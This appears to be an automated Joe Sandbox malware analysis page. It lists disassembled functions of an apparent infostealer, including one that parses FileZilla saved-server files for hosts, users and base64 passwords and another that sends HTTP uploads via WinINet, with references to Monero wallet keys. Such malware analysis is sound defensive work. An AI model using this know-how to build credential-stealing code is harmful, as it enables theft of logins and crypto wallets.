Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID:
String ID: %p}u
API String ID: 0-1487366728
Opcode ID: 2685e84e8fd21845db00eb7230f9583c863092070a84bda1bd27181ca27a9322
Instruction ID: ad8749c0a54707123156bfc3507c0a7d8c658c92ab954d8e36d4af0bfe55cbcd
Opcode Fuzzy Hash: 2685e84e8fd21845db00eb7230f9583c863092070a84bda1bd27181ca27a9322
Instruction Fuzzy Hash: 2E5116F3A092109FF3046E29EC857ABB7D6EBD4320F1A853DE6D4C3784E93948458796

Function 00FFC63F Relevance: 1.4, Strings: 1, Instructions: 179COMMON

Download Yara Rule

Strings

97?, xrefs: 00FFC79C

Memory Dump Source

Source File: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 97?
API String ID: 0-648382171
Opcode ID: 24fed6cf9bd6923ad5ce1713b00eff0cb572519da376d2cc1bd1ed6cc32bf95c
Instruction ID: 6eeec9333e99187d3c53997250e21fd523ae4c3fd7d2650b4192210bbe8b4883
Opcode Fuzzy Hash: 24fed6cf9bd6923ad5ce1713b00eff0cb572519da376d2cc1bd1ed6cc32bf95c
Instruction Fuzzy Hash: 40517CF3A0C3099FD304BEBDFC8552BBBD9E758164F29063CEA85C2705F921DA095652

Function 00FB5B2E Relevance: 1.4, Strings: 1, Instructions: 177COMMON

Download Yara Rule

Strings

I|s_, xrefs: 00FB5CC3

Memory Dump Source

Source File: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID:
String ID: I|s_
API String ID: 0-1702182863
Opcode ID: 1cc03c3252c42c46eb3e6033cfe272536fc868e385378dbdc307c1658b43eb7a
Instruction ID: d2966b8c39da8eae4b1a2461be06b7821f562855acd28b59fbdc5f90ee02f3a5
Opcode Fuzzy Hash: 1cc03c3252c42c46eb3e6033cfe272536fc868e385378dbdc307c1658b43eb7a
Instruction Fuzzy Hash: 0F5159F3A082149FE304AE2DEC857ABB7E5EB94760F1B403DD6C883744EA75590487C6

Function 00F67AEB Relevance: .2, Instructions: 238COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 085677320a2a56f5a34df5a3b91df81f312b86375ef4535c8aa5fd8b44862097
Instruction ID: 1221aead7112f6d255d73c966d450b0860da4bbc40728ed3b91b2413d5929e3e
Opcode Fuzzy Hash: 085677320a2a56f5a34df5a3b91df81f312b86375ef4535c8aa5fd8b44862097
Instruction Fuzzy Hash: 40614AF3A183045BE304AE38EC95777BBD9DB94360F2A453EEA84D7780E53989418396

Function 00E9E036 Relevance: .2, Instructions: 189COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 708d910c49fb7771ed35d5e5cd5bf7f723f3e6282029feeb34011e0200fb2f16
Instruction ID: a23db97b2b3e9702ad2821e8fb0e22c0c2f341ba43d5f3ec2e21be1d57363ada
Opcode Fuzzy Hash: 708d910c49fb7771ed35d5e5cd5bf7f723f3e6282029feeb34011e0200fb2f16
Instruction Fuzzy Hash: D5515DB3E5112547F3544979CC583A2A2939BE1324F2F82788E6CAB7C6DD7E5C0A53C4

Function 00F91E78 Relevance: .2, Instructions: 177COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 836ee2bad583c20309243c9172a11e8d478b94b1f09814404f681801c476150a
Instruction ID: a1d9fe06f335e99a2b6d31840eb26806712894b170f2c169db2497fe7808a0e0
Opcode Fuzzy Hash: 836ee2bad583c20309243c9172a11e8d478b94b1f09814404f681801c476150a
Instruction Fuzzy Hash: 8D5149F361D3049FE3005E29ECC47BBB7D9EB94720F294A3DE98847784E9395C058696

Function 010188A1 Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 465f90c8c30a93bb6a4ff3a5fbe9078bf38ca1ca1d934985e1098b4b9d313c6b
Instruction ID: 7522c2c8b9f58713d7133914af27c3ee25b705f56ca5b1fd241ff46a4c750680
Opcode Fuzzy Hash: 465f90c8c30a93bb6a4ff3a5fbe9078bf38ca1ca1d934985e1098b4b9d313c6b
Instruction Fuzzy Hash: 5831CDB251C604DFD3447E14DC4573EB7EAAB54320F1A892FEBD687204E6385A118A8B

Function 01120648 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1fb84debca960272c0f6da860ee28de8fb0002856c228fec649698fb58065195
Instruction ID: 9607960c87680b77490f8461b34903151530aff5892ec2bf36c21f8ef4dac671
Opcode Fuzzy Hash: 1fb84debca960272c0f6da860ee28de8fb0002856c228fec649698fb58065195
Instruction Fuzzy Hash: 66217CA394DB2C9FD20CB9B95C48527BB9DA798650F270339F8C2C7700F65199318693

Function 00C49750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 00C40250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00C4A740: lstrcpy.KERNEL32(00C50E17,00000000), ref: 00C4A788

Part of subcall function 00C48DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00C48E0B

Part of subcall function 00C4A920: lstrcpy.KERNEL32(00000000,?), ref: 00C4A972
Part of subcall function 00C4A920: lstrcat.KERNEL32(00000000), ref: 00C4A982

Part of subcall function 00C4A8A0: lstrcpy.KERNEL32(?,00C50E17), ref: 00C4A905

Part of subcall function 00C4A9B0: lstrlen.KERNEL32(?,019D8B90,?,\Monero\wallet.keys,00C50E17), ref: 00C4A9C5
Part of subcall function 00C4A9B0: lstrcpy.KERNEL32(00000000), ref: 00C4AA04
Part of subcall function 00C4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00C4AA12

Part of subcall function 00C4A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00C4A7E6

Part of subcall function 00C399C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00C399EC
Part of subcall function 00C399C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00C39A11
Part of subcall function 00C399C0: LocalAlloc.KERNEL32(00000040,?), ref: 00C39A31
Part of subcall function 00C399C0: ReadFile.KERNEL32(000000FF,?,00000000,00C3148F,00000000), ref: 00C39A5A
Part of subcall function 00C399C0: LocalFree.KERNEL32(00C3148F), ref: 00C39A90
Part of subcall function 00C399C0: CloseHandle.KERNEL32(000000FF), ref: 00C39A9A

Part of subcall function 00C48E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00C48E52

GetProcessHeap.KERNEL32(00000000,000F423F,00C50DBA,00C50DB7,00C50DB6,00C50DB3), ref: 00C40362
RtlAllocateHeap.NTDLL(00000000), ref: 00C40369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00C40385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00C50DB2), ref: 00C40393
StrStrA.SHLWAPI(00000000,<Port>), ref: 00C403CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00C50DB2), ref: 00C403DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00C40419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00C50DB2), ref: 00C40427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00C40463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00C50DB2), ref: 00C40475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00C50DB2), ref: 00C40502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00C50DB2), ref: 00C4051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00C50DB2), ref: 00C40532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00C50DB2), ref: 00C4054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 00C40562
lstrcat.KERNEL32(?,profile: null), ref: 00C40571
lstrcat.KERNEL32(?,url: ), ref: 00C40580
lstrcat.KERNEL32(?,00000000), ref: 00C40593
lstrcat.KERNEL32(?,00C51678), ref: 00C405A2
lstrcat.KERNEL32(?,00000000), ref: 00C405B5
lstrcat.KERNEL32(?,00C5167C), ref: 00C405C4
lstrcat.KERNEL32(?,login: ), ref: 00C405D3
lstrcat.KERNEL32(?,00000000), ref: 00C405E6
lstrcat.KERNEL32(?,00C51688), ref: 00C405F5
lstrcat.KERNEL32(?,password: ), ref: 00C40604
lstrcat.KERNEL32(?,00000000), ref: 00C40617
lstrcat.KERNEL32(?,00C51698), ref: 00C40626
lstrcat.KERNEL32(?,00C5169C), ref: 00C40635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00C50DB2), ref: 00C4068E

Strings

profile: null, xrefs: 00C40568
<Host>, xrefs: 00C4037C
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 00C402A4
password: , xrefs: 00C405FB
<User>, xrefs: 00C40410
browser: FileZilla, xrefs: 00C40559
<Pass encoding="base64">, xrefs: 00C4045A
url: , xrefs: 00C40577
login: , xrefs: 00C405CA
<Port>, xrefs: 00C403C6

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: 2cad0b9879bd69af7b338bf906dfacac5deedc22e85b89744e7247b599c3dcd5
Instruction ID: cc8db71556b5c6d58cd8954a943bd59e179af968721cc3ec84051e86c78e37a0
Opcode Fuzzy Hash: 2cad0b9879bd69af7b338bf906dfacac5deedc22e85b89744e7247b599c3dcd5
Instruction Fuzzy Hash: E0D14175940208AFDB04EBF0DD9AEEE7378FF54301F544428F506B6091DE34AA4AEB66

Function 00C35960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495networkstringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00C4A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00C4A7E6

Part of subcall function 00C347B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00C34839
Part of subcall function 00C347B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00C34849

Part of subcall function 00C4A740: lstrcpy.KERNEL32(00C50E17,00000000), ref: 00C4A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00C359F8
StrCmpCA.SHLWAPI(?,019DE580), ref: 00C35A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00C35B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,019DE460,00000000,?,019D9C98,00000000,?,00C51A1C), ref: 00C35E71
lstrlen.KERNEL32(00000000), ref: 00C35E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00C35E93
RtlAllocateHeap.NTDLL(00000000), ref: 00C35E9A
lstrlen.KERNEL32(00000000), ref: 00C35EAF
lstrlen.KERNEL32(00000000), ref: 00C35ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00C35EF1
lstrlen.KERNEL32(00000000,?,?), ref: 00C35F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00C35F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00C35F4C
InternetCloseHandle.WININET(00000000), ref: 00C35FB0
InternetCloseHandle.WININET(00000000), ref: 00C35FBD
HttpOpenRequestA.WININET(00000000,019DE520,?,019DDC28,00000000,00000000,00400100,00000000), ref: 00C35BF8

Part of subcall function 00C4A9B0: lstrlen.KERNEL32(?,019D8B90,?,\Monero\wallet.keys,00C50E17), ref: 00C4A9C5
Part of subcall function 00C4A9B0: lstrcpy.KERNEL32(00000000), ref: 00C4AA04
Part of subcall function 00C4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00C4AA12

Part of subcall function 00C4A8A0: lstrcpy.KERNEL32(?,00C50E17), ref: 00C4A905

Part of subcall function 00C4A920: lstrcpy.KERNEL32(00000000,?), ref: 00C4A972
Part of subcall function 00C4A920: lstrcat.KERNEL32(00000000), ref: 00C4A982

InternetCloseHandle.WININET(00000000), ref: 00C35FC7

Strings

------, xrefs: 00C35C0B
------, xrefs: 00C35A96
", xrefs: 00C35E16
", xrefs: 00C35CD5
------, xrefs: 00C35D4C

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
